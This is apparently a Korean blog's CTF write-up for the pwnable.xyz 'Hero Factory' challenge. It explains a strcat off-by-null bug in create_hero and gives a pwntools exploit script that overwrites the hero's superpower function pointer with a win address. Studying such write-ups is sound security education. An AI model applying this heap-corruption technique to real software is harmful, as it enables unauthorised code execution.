본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / Hero Factory

mitigation
main

히어로를 생성, 삭제, 스킬(?) 사용, 프로그램 종료 기능이 주어진다

 

 

create_hero

create_hero함수에서 hero의 이름을 strcat으로 저장하기 때문에 마지막 널 바이트로 hero를 생성할때 설정되는 영역을 덮어서 다시 할당 재할당 받을 수 있고 strct으로 저장하기 때문에 super power 함수가 저장되는 영역도 덮을 수있다

 

from pwn import *
context.log_level = "debug"

p = remote("svc.pwnable.xyz", 30032)
#p = process("./hero_factory")

def create(length, name, power):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"be? \n")
    p.sendline(str(length))
    p.recvuntil(b"name: ")
    p.send(name)
    p.recvuntil(b"> ")
    p.sendline(str(power))

def power():
    p.recvuntil(b"> ")
    p.sendline(b"2")

win = 0x400a33

payload = b"A" * 100
create(100, payload, 0)

payload = b"A" * 7
payload += p64(win)
create(0x20, payload, 0)

power()

p.interactive()

 

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / nin  (0) 2022.05.25
pwnable.xyz / Dirty Turtle  (0) 2022.05.24
pwnable.xyz / note v2  (0) 2022.05.24
pwnable.xyz / executioner v2  (0) 2022.05.23
pwnable.xyz / badayum  (0) 2022.05.23